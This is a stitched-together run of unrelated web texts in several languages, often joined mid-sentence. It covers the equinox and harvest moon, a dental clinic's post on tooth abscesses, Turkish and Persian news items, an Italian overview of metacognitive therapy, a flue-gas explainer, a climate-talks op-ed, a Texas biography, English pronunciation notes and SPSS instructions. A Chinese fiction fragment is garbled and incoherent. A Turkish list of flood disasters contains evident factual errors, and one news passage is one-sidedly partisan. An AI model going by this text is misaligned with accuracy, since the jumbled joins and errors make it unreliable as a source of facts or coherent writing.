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hemisphere is tilted towards the Sun, both north and south receive equal amounts of solar radiation. This is not related in any way to the Sun's gravitational force nor does it affect Earth's magnetic field.
Mesopotamian civilization began over six thousand years ago in what is modern Iraq and parts of neighboring countries. When written history began, equinoctal celebrations were already taking place in this area.
Although there is nothing on paper, the importance of the equinox was written in stone in Ireland over five thousand years ago. In Loughcrew (County Meath) there are a number of megalithic mounds, including one which is aligned to the equinox. It is 35 meters (115 feet) in diameter, but at the equinox the rising Sun shines through the mound and illuminates stone carvings.
Harvest home and the harvest moon
In Britain one name for the traditional harvest festival is Harvest Home. It's still celebrated in some rural areas on the Sunday nearest the harvest moon, which is the full moon nearest the autumnal equinox.
People picture the harvest moon as particularly large and reddish. Although the Moon doesn't really change its color or size, we do see it this way. Around the time of the equinox the full Moon rises very soon after sunset. When it's low in the sky its light has traveled through a lot of atmosphere. The air acts like a filter, scattering away the bluer light and keeping the redder light. The Sun looks red at sunrise and sunset for the same reason.
There is also a common illusion that makes objects near the horizon seem bigger. If you hold out your hand at arm's length and use a fingernail to cover the Moon to get an idea of its size, you'll see that it's the same size higher in the sky, even though it looks smaller.
Autumn Moon Festival
Speaking of the Moon, one of the biggest autumnal equinox celebrations is the Chinese Moon Festival. It's celebrated in China and wherever there are substantial Chinese populations. Its history goes back well over a thousand years and during that time it has collected around it a myriad of stories and customs. However it seems that for most people today it's a time of family togetherness and thanksgiving - and a chance to admire the full moon and perhaps eat moon cakes.
In China contemplating the Moon is a venerable pastime, which I can only applaud. Historic gardens and palaces have moon-viewing pavilions. Few people could afford to have one of these today, but I discovered that on Staten Island, New York there is a replica of a 13th century Ming dynasty garden and it does include a moon-viewing pavilion. I love to look at the Moon. This would be heaven.
Sara Naumann, �Mid-Autumn or Mooncake Festival in China: Celebrating the Harvest Moon�
You can see more pictures and a video of the Loughcrew equinox sunrise on the "Seasons" Pinterest board.
Content copyright © 2013 by Mona Evans. All rights reserved.
This content was written by Mona Evans. If you wish to use this content in any manner, you need written permission. Contact Mona Evans for details.
Website copyright © 2013 Minerva WebWorks LLC. All rights reserved.Greenwich is best known for its maritime history and giving its name to Greenwich Mean Time and Greenwich Meridian ( O Longitude). Greenwich is located in South East London on the South Bank of the River Thames.
Greenwich Town was the site of the Royal Palace from the 15th century and was the birthplace of several members of the House of Tudor including King Henry the VIII and Elizabeth I. This palace was destroyed during the English Civil War and was rebuilt as the Royal Naval Hospital which subsequently became the Royal Naval College in 1873. However in 1998 , these buildings became a part of the Greenwich Foundation.We are open - safety is our top priority!
Posted on: November 3, 2015
You Can’t Afford to Ignore an Abscessed Tooth
If you’re constantly faced with sharp pangs of tooth pain, you may have an infection either in or around that tooth. This is called an abscessed tooth. If the painful infection isn’t treated, it may worsen and cause you to lose the tooth, as well as spread and lead to other health issues. Luckily, the problem can be relieved and resolved by seeking affordable dental care.
Causes of an Abscessed Tooth
An abscessed tooth can have a variety of causes. Damage to the tooth is a common cause, but an untreated cavity can also become infected and that bacteria can spread from the tooth to the surrounding tissue to create an abscess. And gum disease can make the gums pull away from the teeth, creating pockets where bacteria can grow and form a painful abscess.
Signs and Symptoms
While extreme tooth pain is the first and fiercest sign of an abscessed tooth, these other symptoms may also point to the problem:
- Severe pain, often when chewing
- A throbbing toothache
- Swollen, red gums
- Face and jaw swelling
- An unpleasant salty taste in the mouth
- A tooth that’s extremely tender to the touch
- A swollen, oozing, red bump in your mouth
While the pain may subside as the infection spreads, be aware that this is actually worsening the problem because it’s causing the bone to dissolve and may lead you to lose the tooth.
Don’t ignore an abscessed tooth, especially since an affordable dentist can provide the relief you need in the following ways:
- Prescribe antibiotics to kill the bacteria causing the infection.
- Completely drain the infection to soothe the pain.
- Remove the infected tissue within the tooth with a root canal.
- Pull the abscessed tooth if you do not want a root canal or that procedure doesn’t remove all of the infected tissue.
Prevent the Problem
Fortunately, you have affordable dental care options that can treat an abscessed tooth, but you can prevent the pain completely by following these good dental care habits:
- Have routine check-ups and cleanings from an affordable dentist.
- Brush your teeth twice a day with a fluoride toothpaste.
- Floss every day to remove food and bacteria that can cause an abscess.
- Avoid sugary foods and drinks.
- Your risk for cavities and infections increases with a dry mouth, so keep your mouth moist by drinking plenty of water, chewing sugarless gum, or taking dry mouth medication.
To get the dental care you deserve from an affordable dentist in South Bend, call The Dental Center of Indiana today or make an appointment.
The Dental Center of Indiana offers affordable family dentistry and gentle, compassionate dental care in South Bend. With 8 affiliated practices throughout Indiana, our offices are conveniently located with extended hours to meet your needs. At The Dental Center of Indiana, we provide most dental services, from basic preventative care and general dentistry to specialized procedures and complete dental reconstruction. We accept most dental insurance plans and offer affordable financial solutions for any budget. Patient satisfaction is our top priority and we strive to provide the exceptional, affordable dental care and personal touch that lead to lasting relationships. A smiling patient is our greatest reward and we look forward to keeping those smiles healthy, beautiful, and bright. Discover an affordable dentist who truly cares at The Dental Center of Indiana.Guelph polisi, 1945’te ölen bir memurun adının nihayet Queen’s Park’taki Ontario Polis Anıtı’na eklendiğini söyledi.
İnş. John Teevens, 27 Ocak 1945’te, Yukarı Wyndham Caddesi’nde sarhoş bir sürücü tarafından vurulduktan sonra Aralık 1939’da aldığı yaralardan dolayı öldü.
52 yaşındaydı.
Daha fazla oku:
Waterloo Polis Şefi Bryan Larkin emekli olduğunu duyurdu
Bir haber bülteninde, polis teşkilatı, Guelph’te polislik hakkında bir tarih kitabı üzerinde çalışan araştırmacıların birkaç yıl önce hikayesini keşfetmesine kadar, yaralanma ve ölüm koşullarının büyük ölçüde zaman kaybettiğini söyledi.
Emekli Çavuş Doug Pflug ve Const. Guelph Polis Derneği’nin eski başkanı Matt Jotham, Ontario Polisi Anma Vakfı’na Teevens hakkında bilgi verdi, bu da düşmüş memurun tanınmayı hak ettiğini kabul etti.
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Gençlerin adı geçen bahar anma töreninde düzenlenen yıllık Anma Töreni sırasında okundu. Bu yılki tören, pandemi nedeniyle ilk yüz yüze etkinlik olacak ve Pazar günü yapılacak.
Brampton parkının adı Toronto polis memurunun onuruna değiştirildi
Teevens’ın adı yakın zamanda anıta yazılmıştır ve tören sırasında resmen tanınacaktır.
Daha fazla oku:
Binlerce Guelph polisinin kazada öldüğünü anıyor
O, polis memurları Jennifer Kovach, Walter MacAuley ve William Holloway’e katılarak, anıta adını yazdıran dördüncü Guelph polis memuru.
Düşen memurların tümü, bir araçla bir tür çarpışmanın ardından öldü.
Pazar günkü tören canlı olarak yayınlanıyor ve daha fazla bilgi şu adresten çevrimiçi olarak bulunabilir: vakfın web sitesi.
© 2022 Global News, Corus Entertainment Inc.’in bir bölümüdür.
Kaynak : https://globalnews.ca/news/8797477/guelph-police-ontario-memorial-teevens/M’Baye Niang si ferma. La punta rossonera, che aveva firmato una doppietta nella gara contro il Sassuolo, valida per l’ultima sfida dell’edizione 2016 del Trofeo TIM, ha accusato un problema all’adduttore destro.
L’attaccante originario di Meulan-en-Yvelines è stato quindi sostituito. Al suo posto, è entrato Alessandro Matri, obiettivo di mercato dei neroverdi.Sono state diverse le peculiarità di queste ultime elezioni americane. Innanzitutto i toni decisamente alti, con scarsa mediazione e molta voglia di colpire alcuore l’avversario con ogni mezzo.
Altro dato interessante è stata la grande affluenza: 200 milioni di persone si sono registrati per votare. Venti anni fa, durante le elezioni del 1996 dove fu eletto il marito di Hillary Bill Clinton, se ne registrarono poco più di 127 milioni.
Con il grande numero degli elettori e gradi disguidi. Ci sono state grandi attese per lunghe code problemi tecnici e confusione ai seggi, con le ovvie difficoltà incontrate dagli elettori primi tra tutti le comunità ispaniche e afro-americane. Oltretutto secondo alcune ricerche per ogni ora che un cittadino attende di votare ai seggi , la possibilità che un elettore torni a votare 4 anni dopo si abbassa dell’1 per cento.
Altra curiosità: i famosi sticker che a questo turno hanno invaso Instagram e gli altri social, ossia selfie di cittadini con l’adesivo “Io ho votato”.
Una tradizione nata negli anni ’80 e con un forte valenza psicologica: pare infatti che molti americani vadano a votare proprio per potersi poi esibire in foto prima e nei social poi con il famoso sticker.Başkan Barack Obama, Georgia eyaletinde iki nükleer reaktör inşası için 8 milyar dolarlık kredi garantisi verileceğini açıkladı.
30 yıl aradan sonra ilk kez nükleer reaktör inşa edecek olan Amerika enerji alanında dışa bağımlılığını azaltmaya çalışıyor.
Washington çevresinde işçilere bir konuşma yapan Obama, temiz enerji kaynaklarına ağırlık verilmesi ve petrol bağımlılığını azaltmak gerektiğini söyledi.
Amerika’da elektrik üretiminin yüzde 20’si nükleer enerjiden sağlanıyor. Nükleer reaktör inşaatına karşı çıkanlar nükleer enerjinin tehlikeli ve masraflı olduğunu savunuyor.Super God Gene - 0273
Hiç kimse Han Sen’in sorusuna cevap vermeyecekti. Bütün insanlar ormana geri döndüler.
”Bayan, bu ne demek?” Han Sen ilk gördüğü kadını yakaladı ve sordu.
Kadın kayıtsızca söyledi.” Şu an buradasın, hayatının hapis cezasını yemiş gibisin. Bunun ne demek olduğunu keşfetmek için çok zamanın olacak”
Yakında herkes gibi ormana geri döndü.
Han Sen muhtemelen bir gemi kazası geçirip buraya kadar geldiklerini tahmin edebilirdi. Ancak, hala nerede olduğunu öğrenmek istiyordu. Sonuçta, buralara kadar bir gemi ile gelmiş olmalıydılar ve adanın lokasyonu ve en yakın shelter’in nerede olduğu hakkında bir fikirleri olmalıydı.
Han Sen hızlıca bu insanları takip etti, onları uzaktan takip etme niyetinde de değildi. Çok yakında Han Sen onları ormanın içerisine doğru takip etti ve bir mağaraya ulaştı.
Mağaranın içerisinde İttifak içerisinde üretilen birçok malzeme vardı. Şenlik ateşi ile bir
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sında insan hayatını yitirmiştir.
8- Doğu Guatemala Felaketi (1949)
Tropikal fırtınayla birlikte aşırı yağışların aniden bastırdığı bu fakir ada ülkesinde altyapı nedeniyle yollar ırmağa dönüşmüş ve oluşan afette 40.000 kişi yaşamını yitirmiştir.
9- Kızıl Nehir Felaketi (1971)
Vietnam'ın kuzeyinde Kamboçya ve Laos'a yakın yerde alan Hanoi ve Kızıl Nehirlerin birleştiği alanda aşırı Muson yağışlarının da etkisiyle meydana gelen selde 100.000 kişi yaşamını yitirmiştir.
10- Bankiyo Baraj Felaketi (1975)
Nina Tayfunu sonucunda Çin'e ait barajda çatlak meydana gelmiş ve sızıntı sonrası oluşan selde 231.000 kişi yaşamını kaybetmiştir.
11- Vargas Felaketi (1999)
Ekvatoral İklimin yaşandığı Venezuela'da, aşırı yağışlar nedeniyle kıyı şehri olan Vargas'da meydana gelen sel felaketidir. 2 gün süren sel felaketinde 10.000'lerce insan hayatını kaybetmiş ve sokaklar çamur gölüne dönmüştür.Adrian Wells, è uno psicologo e clinico britannico e autore di diversi articoli scientifici in cui evidenzia i meccanismi sottostanti i disturbi psicologici, in particolare ansia e depressione; la sua ricerca ha portato alla teorizzazione di modelli e di trattamenti per la cura di questi disturbi e prende il nome di Terapia Metacognitiva (MCT).Adrian Wells, è uno psicologo e clinico britannico; è docente di psicologia clinica alla University of Manchester e professore presso la Norwegian University of Science and Technology di Trondheim.
Adrian Wells è autore di diversi articoli scientifici in cui evidenzia i meccanismi sottostanti i disturbi psicologici, in particolar modo relativi alla sfera dell’ansia e della depressione. La sua ricerca ha portato alla teorizzazione di modelli e di trattamenti per la cura di questi disturbi e prende il nome di Terapia Metacognitiva (MCT).
La Terapia Metacognitiva è ascrivibile alla terza ondata di cognitivismo clinico e consiste in un nuovo trattamento psicologico, che pone le sue basi nella terapia cognitiva standard. Adrian Wells ha sottoposto a valutazione il trattamento MCT grazie alla realizzazione di studi scientifici controllati e randomizzati. Attualmente, esistono protocolli di intervento empiricamente riscontrabili su diversi disturbi psicologici.
La Terapia Metacognitiva di Adrian Wells
Secondo Adrian Wells, la Terapia Metacognitiva o MCT verte sull’individuazione di due componenti psicopatologiche: la Sindrome Cognitivo-Affettiva (Cognitive-Attentional Syndrome, CAS) e le metacognizioni.
La Cognitive-Attentional Syndrome o CAS rappresenta una modalità disfunzionale di elaborare le informazioni in ingresso. La CAS comprende sia gli stili di pensiero ripetitivi come il rimuginio e la ruminazione, sia l’ipermonitoraggio attentivo, ovvero focalizzazione dell’attenzione sulle proprie sensazioni corporee o sul giudizio degli altri, sia i comportamenti di rassicurazione o evitamento e tecniche di controllo dei pensieri. La CAS è determinata da credenze riguardanti il pensiero che possono essere inglobate in due categorie: positive, a esempio: “devo preoccuparmi altrimenti non considero abbastanza importante l’accaduto”, e negative, a esempio: “alcuni pensieri sono pericolosi”. In questo modo, l’attenzione si concentra totalmente sulle possibili minacce, non si è capaci di risolvere i problemi e si è immersi in un circolo vizioso da cui scaturisce una emozione negativa. La CAS si attiva, ed è mantenuta, dalle metacognizioni. Le metacognizioni consistono, in soldoni, in pensieri che si effettuano su altri pensieri, ovvero le conoscenze che ognuno possiede sulla propria mente e sui suoi prodotti e funzioni, come emozioni, attenzione, memoria, etc.
L’analisi MetaCognitiva
L’analisi MetaCognitiva o AMC rappresenta la mappa concettuale che permette l’accertamento delle metacognizioni e delle componenti della CAS, in cui si esplora un episodio emozionale specifico. L’asse concettuale prevede l’identificazione di un pensiero iniziale, valutazione o sensazione corporea (A), l’identificazione delle metacognizioni e delle caratteristiche della CAS (M), e le conseguenze emotive (C). Rispetto al modello ABC della terapia cognitiva standard, con l’analisi dell’AMC è possibile identificare le matacognizioni implicite o esplicite con cui il paziente risponde a uno stimolo attivante interno.
Accertamento delle componenti dell’AMC
L’accertamento delle conseguenze o “C” emotive rappresenta un punto fondamentale. Le conseguenze comprendono stati mentali complessi diversi dai semplici stati emotivi. Per questo per agevolare il paziente è possibile attribuire un’etichetta ad ogni stato dopo averlo descritto nel dettaglio.
Nell’ Accertamento degli eventi attivanti interni (A), il terapeuta mira a cercare di identificare, con dovizia di particolare, il primo pensiero o sensazione scatenante l’episodio descritto, che, nell’esperienza individuale, è solitamente percepito come spontaneo. L’accertamento dell’evento attivante interno costituisce l’elemento da cui il terapeuta parte per indagare la CAS e le metacognizioni.
La CAS descrive un peculiare piano di elaborazione delle informazioni, vale a dire un modo di usare il pensiero, l’attenzione e le altre facoltà cognitive. Il terapeuta deve comprendere come il paziente usa tali facoltà cognitive in risposta allo stimolo attivante interno.
Il passaggio successivo è l’accertamento delle metacognizioni (M) che sostengono la CAS. Le metacognizioni possono riguardare: (1) convinzioni esplicite sul significato di A, (2) conoscenze esplicite su utilità e controllabilità delle componenti di CAS, (3) conoscenze implicite che possono essere inferite, ipotizzate e condivise con il paziente.
Secondo la Terapia Metacognitiva o MCT di Adrian Wells, esistono due diverse modalità per elaborare le informazioni:
- Oggetto: caratterizzato da una fusione dei nostri pensieri con la realtà. In questo caso, i pensieri sono considerati veri, generali e concreti, per questo non sottoponibili a discussione o giudizio;
- Metacognitivo: i pensieri e le sensazioni sono percepiti come eventi interni separati da sé e dal mondo. Di conseguenza, la relazione con i propri pensieri risulta essere soggettiva, cioè quella di una persona che li osserva come se fossero una componente esterna.
Il trattamento attraverso la Terapia Metacognitiva (MCT)
La Terapia Metacognitiva consiste nella rimozione della CAS in relazione ai pensieri e alle metacognizioni che la mantengono. In questo modo, si mettono in discussione le credenze metacognitive rendendole più flessibili e meno correlate alle esperienze emozionali negative.
Rispetto alla terapia cognitiva standard, il modello di Wells pone al centro della teoria non i contenuti dei pensieri, anzi i pensieri non sono considerati molto importanti, ma ciò che conta è la reazione delle persone a quei pensieri. Quindi, per la Terapia Metacognitiva (MCT) non sono gli schemi mentali a determinare un disturbo psicologico, ma le risposte cognitive derivanti da questi schemi, ovvero lo stile di pensiero ripetitivo, astratto e negativo, le strategie di controllo mentale, e le metacognizioni che le mantengono gli schemi.
In sostanza, la MCT agisce sulle modalità che si utilizzano per gestire i pensieri.
Quindi, il principale intervento terapeutico consiste nell’addestramento alla gestione dei pensieri negativi attraverso ad esempio alla cosiddetta detached mindfulness (DM). La DM, si riferisce alla presa di consapevolezza dei pensieri e al riuscire a distinguere un pensiero negativo dalla preoccupazione o rimuginio o ruminaizone che ne consegue. Lo scopo, dunque, è eliminare ogni relazione con il pensiero e percepire se stessi come osservatori esterni del pensiero stesso.Flue Gas Cleaning Flue Gas Cleaning
Flue gas is emitted from a flue or pipe when fossil fuels are burned. This gas is what makes up the discharge or exhaust from a fireplace, oven, boiler, furnace, etc. Flue gas cleaning is often associated with power plants or other facilities that emit a large amount of combustion exhaust.
Flue Gas Composition
The composition of flue gas depends on what is creating it. Typically, flue gas consists mostly of nitrogen. It also contains carbon dioxide, water vapor, excess oxygen and heavy metals (lead, mercury, cadmium). A small percentage is made up of pollutants such as carbon monoxide (CO), nitrogen oxides (NO and NO2), hydro-fluoric acid (HF), hydrochloric acid (HCI), sulfur dioxide (SO2) and particulate matter (dust or fly ash). As emission of gases into the atmosphere is strictly regulated by the EPA (Environmental Protection Agency), cleaning flue gas is very important.
Power plants often clean flue gas with a series of chemicals and scrubbers, which remove pollutants. Electrostatic precipitators or fabric filters remove particulates such as fly ash. Sodium bicarbonate is injected into the gases to neutralize acids and absorb heavy metals. Desulfurization removes sulfur dioxide produced. Nitrogen oxides are removed by high temperature or with ammonia or urea. The process converts the nitrogen from an oxide to a gas. A bag filter removes active carbon or lignite coke and fly ash.
There are several new technologies being developed to try and remove flue gas pollutants, such as sorbent absorption and capture in inert solids. While still works in progress, the creation and implementation of new cleaning processes, especially for large-output facilities, will help insure our air quality.The international climate talks in Durban ended on Sunday with a hard-earned agreement. After last-minute negotiations, 194 nations signed on to develop a new legally enforceable compact to reduce the pollution that causes climate change.
Some observers thought the inability to accomplish more at the talks was a sign that the international effort to address climate was crumbling. While I would have welcomed more progress at Durban, I firmly believe the global community must continue to tackle this problem together.
The climate storm we are sailing into is so powerful we need all hands on deck. We need international action, national action, business action, and city-based action. We need it all. And we need it now.
The year 2011 delivered one extreme weather event after another, from devastating floods in Thailand to scorching drought in East Africa. The United States experienced 14 disastrous weather events that caused more than a billion dollars in damages each—an all-time record. The droughts and fires in Texas alone left farmers and ranchers with $5.2 billion in losses.
The costs don’t end there. In a groundbreaking study published last month in Health Affairs, NRDC scientists and university economists looked at six climate-change-related events in the United States and found they accounted for more than $14 billion in health-related care costs and more than 760,000 interactions with the health care system.
Last month, the Intergovernmental Panel on Climate Change published an exhaustive scientific report concluding that global warming is causing more extreme weather events and they will become even more frequent in the decades ahead.
We must turn this around now, before climate change becomes even more destructive.
One agreement alone can’t achieve the pollution reductions we need, but many forces working together can.
Here in the United States, we have cities like New York, Los Angeles, and Chicago making firm commitments to reduce their carbon emissions. We have California establishing a statewide cap-and-trade program to curb carbon from large polluters like power plants and refineries. We have the Obama administration proposing new clean car standards that will cut vehicle emissions of carbon pollution in half by 2025 compared to today. The administration is also expected to announce limits on carbon pollution from new power plants.
Of course we still need Congress to pass comprehensive clean energy and climate legislation, but in the meantime, progress is being made at many levels.
We need to keep things moving on the international stage as well. The Durban talks got the world community headed in the right direction. Here is what it achieves:
A Plan for Reaching Legally Enforceable Limits: All 194 nations agreed to draft an agreement with legal force for reducing climate pollution. Nations would be compelled to meet their obligations by the force of international law. Of course, this international law would have to be backed by strong actions at home in the largest emitter as the atmosphere wants action, not pledges. Significantly, China and India agreed to this approach for the first time, something the U.S. Congress has always viewed as essential in order for it to ratify an international agreement.
An Extension of the Kyoto Protocol: Countries agreed to extend the protocol for at least another five years, ensuring the world still has a legally binding climate agreement in place. The protocol has a two-tiered system, one for developed nations and one for developing nations. Since it was launched in 1997, nations like China, India, and Brazil have emerged as economic powerhouses and major emitters. The hope is that the next legal agreement will reflect these changes and hold all nations accountable for their share of pollution.
Greater Transparency and Accountability: At the 2009 climate talks in Copenhagen, countries committed to reducing climate pollution at home. The best way for countries t
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�unları söyledi: ‘Şimdi, uluma değil, ısırma zamanıdır ve biz çok güçlü ısıracağız.’
Rey el-Yevm Gazetesi Baş Editörü Abdel Bari Atvan, Siyonist Rejimin İran ve Direniş Eksenine karşı tehdit içerikli üslubunu “boş tehdit” olarak nitelendirdi ve bu tehditlerin İsrail’in gücünü ortaya koymaktan ziyade histerik düzeye ulaşan bir korku ve endişeyi gösterdiğini yazdı.
Siyonist Rejim ordusu cumartesi günü, Filistin hava sahasına giren bir İran İHA’sını düşürdüğünü iddia etti. İran bu iddiayı reddetti ve Suriye hükümeti Siyonistlerin bahsettiği bu İHA’nın Arap ordusuna ait olduğunu ve terörist gruplardan bilgi topladığını söyledi.
Bu olayın ardından Siyonist rejim savaş uçakları Suriye bölgelerine saldırı düzenledi ve bu olay, bu rejimin bir F-16 savaş uçağının Golan’daki el-Celil bölgesi yakınlarında Suriye hava sisteminin ateş etmesi sonucu düşürülmesine neden oldu.
2011 yılında Suriye savaşı başladığı günden beri batılı gazetelerdeki çeşitli deliller, İsrail rejiminin ve bu rejimin batılı ve bölgesel müttefiklerinin Suriye hükümetine karşı savaşan tekfirci terörist grupları desteklediğini göstermektedir.
Suriye ordusu şimdiye kadar defalarca Suriye’deki terörist gruplardan İsrail yapımı mühimmat ve silahlar bulmuştur.SPENCER, WILLIAM ADDISON
SPENCER, WILLIAM ADDISON (1840–1922). William Addison Spencer, Confederate officer, Texas Ranger, and county judge, was born in Tennessee on September 7, 1840, to Elijah Spencer and Temperance (Brown) Spencer. By 1850 the family had moved to Harrison County, Texas, and when the Civil War began, William Spencer enlisted on June 16, 1861, at Camp Carricitas in Cameron County. He was made a third lieutenant in Captain Littleton's Company of the Second Regiment Texas Mounted Rifles. Under the command of Col. John S. "Rip" Ford, this regiment spent the majority of its time posted along the banks of the Rio Grande. Although companies of the Second Regiment Texas Mounted Rifles left with John R. Baylor to take part in Sibley's campaign in New Mexico, as leader of Company C, Spencer's job was to protect the vital cotton trade with Mexico from Native American raids. Within two months he was promoted to first lieutenant, and within one year he made captain and, with the reorganization of his regiment into the Second Texas Calvary, was given his own company in a new posting near Edinburg.
During the war, Spencer's regiment took part in several battles, including the battle of the Nueces on August 10, 1862, and the battle of Galveston on January 1, 1863. The final bulwark provided by this regiment occurred at an attack on the blockading squadron on the Sabine Pass on January 21, 1863. Frustration seems to have festered on the frontier as the Second Texas Cavalry slowly but steadily began to diminish. While in November 1862 the regiment had 752 effectives, by July 1864 it had only 19 officers and 167 enlisted men. Spencer himself was involved in a mutiny against his commanders and as a result was placed in "arrest or confinement" beginning March 1, 1863. The needs of the war seemingly assuaged any stain of his actions, as only three months later, on June 21, he received parole. Beyond hospitalization in Houston for "Vulnus Sclopeticum" (a gunshot wound) and a duty collecting horses, he was faithful to his command. By April 1864 he was placed in command of a battalion at Navasota, and by July he was commanding the regiment stationed in Galveston. With his regiment dismounted and Spartan in size, this must have seemed like a hollow command. Despite a promotion to lieutenant major in August 1864, December of that year found Spencer on a forty-two-day-long leave of absence. Listless and lifeless, the regiment unofficially disbanded before the inevitable surrender of the South.
After the war, Spencer moved to Karnes County, Texas, and worked as the county clerk at the courthouse in Helena. During this time he met Caroline "Carrie" Hepzibeth Taylor (b. 1844), the daughter of Creed Taylor and Nancy Goodbread, and the two married on February 22, 1866. A year later, when Caroline's mother died in 1867, Creed deeded their house in Ecleto, Karnes County, to his daughter and Spencer and moved to the city of Junction in Kimble County. On February 11, 1873, Creed married Spencer's cousin Lavinia A. Spencer in Kerr, Texas, and not long after, William and Caroline Spencer followed him to Junction, where Spencer rose to local prominence and served as county clerk, sheriff, and county judge. He and Caroline had seven children. Caroline died on October 14, 1920, and William followed less than two years later on August 22, 1922. They are buried together at Junction Cemetery in Kimble County, along with three of their children.
Allan C. Ashcraft, Texas in the Civil War: A Resume History (Austin: Texas Civil War Centennial Commission, 1962). Compiled Service Records of Confederate Soldiers Who Served in Organizations from the State of Texas, National Archives and Records Service, Washington. Stewart Sifakis, Compendium of the Confederate Armies: Texas (New York: Facts on File, 1995).
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Uploaded on April 8, 2011. Modified on May 31, 2011. Published by the Texas State Historical Association.به گزارش صنایع پلاستیک، دفتر توسعه صنایع پایین دستی پتروشیمی، قیمت پایه محصولات پلیمری و شیمیایی تا ۲۸ اردیبهشت ماه اعلام شد.
این هفته با وجود خروج تدریجی کشورها در شرق آسیا و اروپا، اندکی بهبود در تقاضا ر اشاهد بودیم اما از آنسو برگزاری روز کارگر و تعطیلات ناشی از آن در کشورهایی چون چین، ویتنام و … سبب شد تا بازار پلیمرها ثبات نسبی را تجربه کند.
از سوی دیگر، میانگین قیمت دلار نیمایی این هفته ۱۴۰.۱۲۰ ریال در نظر گرفته شد که نسبت به هفته گذشته ۵۶۰ ریال افزایش داشت و به بیان دیگر ۰.۴ درصد رشد قیمت را به ثبت رساند.
این افزایش محدود در قیمت دلار نیمایی د ر کنار قیمت های نسبتا ثابت با تمایل به افزایش در سطح جهان سبب شده است تا کفه قیمت ها، این هفته در بازار ایران به سمت افزایش سنگینی کنند.
این قیمت ها برای مدت یک هفته در تالار محصولات پتروشیمی بورس کالا مبنای معاملات خواهند بود.
جدول مقایسه ای قیمت های جدید ( ۲۱ اردیبهشت) مواد اولیه پلیمری در بورس کالا با قیمت های قدیمی (۱۴ اردیبهشت)حامد کرزای رئیس جمهوری افغانستان از تصمیم باراک اوباما رئیس جمهوری آمریکا برای خارج کردن تمام سربازان آمریکایی در آن کشور تا پایان سال ۲۰۱۶ استقبال کرد.
در بیانیه ای که روز چهارشنبه آقای کرزای صادر کرد گفته می شود پایان حضور نظامی آمریکا هدف دیرینه دولت و مردم افغانستان، که در عین حال سپاسگزار کمک و حمایت جامعه بین المللی هستند، بوده است.
آقای اوباما روز سه شنبه برنامه خود را برای کاهش نیروهای آمریکا در افغانستان پس از پایان سال جاری تشریح کرد.
آقای کرزای می گوید نیروهای افغانستان آماده هستند مسئولیت حفظ امنیت کشور خود را کاملا برعهده بگیرند. او همچنین طالبان افغانستان را ترغیب کرد سلاحشان بر زمین بگذارند و به درگیری ها پایان دهند.
طالبان در پاسخ به جدول زمانی رئیس جمهوری آمریکا گفت تا تمام سربازان آمریکایی خارج نشده اند، جنگ را متوقف نخواهد کرد.
جان کری وزیر امور خارجه آمریکا نیز روز چهارشنبه در گفتگویی با تلویزیون ان بی سی با انتقاد از کسانی که از تصمیم آقای اوباما انتقاد می کنند گفت، تعیین برنامه زمانی برای خارج کردن نیروهای نظامی به معنای رها کردن افغانستان نیست، بلکه قدرت بخشیدن به کشور است.
آقای اوباما گفت افغان ها مسئولیت های امنیتی بیشتری بر عهده خواهند گرفت و س
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是，他仍然愿意和她说话，就好像他们刚刚见过面。她赶紧和他一起来到这个新地方，那里从来没有伤害过别人。“安静，但我喜欢。”而且,是的,我想要和他们一起去。我们都做到了。但是我在这里需要更多。重要的事情正在发生。
林恩放弃了她的妇女俱乐部会议和协调的服装。她忘了染头发或做指甲，角质层变得粗糙。简的电脑放在护送员的后备箱里。“我的父亲。.."““你说得对。我也是。小路越来越冷了。”但我知道，唯一冷漠的路是我试图回击前妻的路。“鲍伯怎么样？“我们下到人行道上时，我问道，又是陌生人。Sometimes pronouncing the ng sound in English can be a bit tricky for ESL learners because not all ng sound is written with the -ng endings, for example, hung, thing, song. The -nk endings are also pronounced as ng, as in think, sink, blink.
The IPA symbol for the ng sound is /ŋ/. What’s an IPA symbol? IPA stands for International Phonetic Alphabet. The IPA symbols are often found in dictionary to show how to pronounce the words. So, make sure you read the IPA transcription in the dictionary to know the correct pronunciation of a word.
When the ng spelling occurs in the middle of a word, it may be pronounced as an ng sound followed by a g sound, as in the words angry or finger. At the end of a word, or as part of the -ing ending, the pronunciation of this spelling does not typically include a g sound.
Americans use “in” regularly (instead of -ing) if they live in the south – this ending is part of the southern dialect. An -ing ending is used regularly in central, northern and western areas. People outside of the south may use “in” for informal speech, especially young people. In this case, a person may say “ing” sometimes and “in” at other times depending on the situation.
– happening ⇒ happenin’
– going ⇒ goin’
– fishing ⇒ fishin’
n + k spelling
Besides the ng spelling, the ng sound often occurs when a word is spelled nk.
n + c spelling
The letter n in the n + c spelling is only pronounced as the ng sound when the pronunciation of the letter c is pronounced as a k sound. If the letter c is pronounced as an s sound, the letter n will be pronounced as an n sound, as in the words dance and pencil.انتخاب موردها (Select cases): یکی از گزنه های سربرگ Data که بسیار پر کاربرد نیز می باشد، انتخاب موردها است.
در شکل 29 قابلیت های گوناگون این کادر ارتباطی ارائه شده است و سپس به تشریح این قابلیت ها پرداخته می شود.
تخستین کارکرد گزینه ی انتخاب موردها این است که به کاربرد اجازه می دهد تجزیه و تحلیل را فقط برای یک گروه از آزمودنی ها انجام دهد.
جهت انجام این کار کرد، مراحل زیر را باید دنبال شود.
- گزینه یSelect case را از سربرگ Data انتخاب کنید.
- گزینه ی If condition is satisfield را علامت دار نمایید.
- بر روی گزینه ی If کلیک کنید تا کادر جدیدی ظاهر شود.
- یکی از متغیرهای گروهی را که مایل هستید تحلیل ها برای سطحی از آن انجام شود انتخاب کنید (با فلش موشواره بر آن کلیک کنید) و به وسیله ی کلیک بر دکمه ی فلش دار، آن متغیر را وارد جعبه ی سفید (بی نشان) کنید.
برای مثال، اگر جنس را به این جعبه منتقل کرده اید، در ادامه بر روی علامت -1 کلیک کنید تا این علامت جلوی جنس ظاهر شود (-sex) و سپس روی عدد 1 یا 2 که کدهای مربوط به مرد و زن هستند کلیک کنید.
توجه داشته باشید هر عددی که بعد از علامت مساوی قرار گیرد، تجزیه و تحلیل ها منحصراً برای آن انجام میگیرد.
در نهایت با کلیک بر روی گزینه ی Continue، از کادری که جمله ی مشروط را پذیرفته است، خارج شوید و با کلیک بر دکمه ی Ok اقدام نهایی را انجام دهید.
پس از انجام این مراحل، اگر به صفحه ی اصلی SPSS مراجعه کنید، خطوطی را در کنار آن دسته از ...
ادامه دارد...Eyvallah
Eğer bir tohumu parçalayacak olursan,içinde ağaca benzer birşey göremezsin.Tohumun içinde ağaç olmaması,tohumun ağaç olmayacağını göstermez.
